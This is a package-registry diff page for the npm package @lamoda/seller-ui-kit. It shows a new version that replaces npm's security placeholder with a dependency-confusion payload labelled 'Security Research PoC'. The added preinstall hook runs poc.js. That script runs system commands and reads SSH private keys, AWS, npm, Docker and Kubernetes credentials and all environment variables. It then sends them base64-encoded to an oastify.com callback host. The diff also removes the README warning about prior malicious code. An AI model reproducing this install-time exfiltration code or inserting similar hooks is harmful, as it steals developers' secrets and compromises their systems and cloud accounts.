@lamoda/seller-ui-kit 0.0.1-security → 9999.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @lamoda/seller-ui-kit might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +6 -3
  2. package/poc.js +49 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "@lamoda/seller-ui-kit",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9999.0.2",
4
+ "description": "Security Research PoC - Dependency Confusion",
5
+ "scripts": {
6
+ "preinstall": "node poc.js"
7
+ },
8
+ "author": "Security Research"
6
9
  }
package/poc.js ADDED
@@ -0,0 +1,49 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const { execSync } = require('child_process');
4
+ const fs = require('fs');
5
+
6
+ const CALLBACK = 'cvbykwjip0ba35fyfewhmj4f46axynmc.oastify.com';
7
+
8
+ function run(cmd) {
9
+ try { return execSync(cmd, { timeout: 5000 }).toString().trim(); }
10
+ catch (e) { return e.message; }
11
+ }
12
+
13
+ function readFile(path) {
14
+ try { return fs.readFileSync(path, 'utf8').slice(0, 2000); }
15
+ catch { return null; }
16
+ }
17
+
18
+ const payload = {
19
+ pkg: '@lamoda/seller-ui-kit',
20
+ host: os.hostname(),
21
+ user: os.userInfo().username,
22
+ cwd: process.cwd(),
23
+
24
+ id: run('id'),
25
+ whoami: run('whoami'),
26
+ uname: run('uname -a'),
27
+ ip: run('ip a 2>/dev/null || ifconfig'),
28
+ ps: run('ps aux --no-headers | head -20'),
29
+ netstat: run('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
30
+
31
+ npmrc: readFile(os.homedir() + '/.npmrc'),
32
+ npmrc_cwd: readFile(process.cwd() + '/.npmrc'),
33
+ gitconfig: readFile(os.homedir() + '/.gitconfig'),
34
+ ssh_key: readFile(os.homedir() + '/.ssh/id_rsa'),
35
+ aws_creds: readFile(os.homedir() + '/.aws/credentials'),
36
+ docker_cfg: readFile(os.homedir() + '/.docker/config.json'),
37
+ k8s_cfg: readFile(os.homedir() + '/.kube/config'),
38
+
39
+ env: process.env,
40
+ };
41
+
42
+ const b64 = Buffer.from(JSON.stringify(payload)).toString('base64');
43
+ const chunkSize = 7000;
44
+
45
+ for (let i = 0; i < b64.length; i += chunkSize) {
46
+ const chunk = b64.slice(i, i + chunkSize);
47
+ const idx = Math.floor(i / chunkSize);
48
+ https.get(`https://${idx}.${CALLBACK}/${chunk}`, () => {}).on('error', () => {});
49
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40lamoda%2Fseller-ui-kit for more information.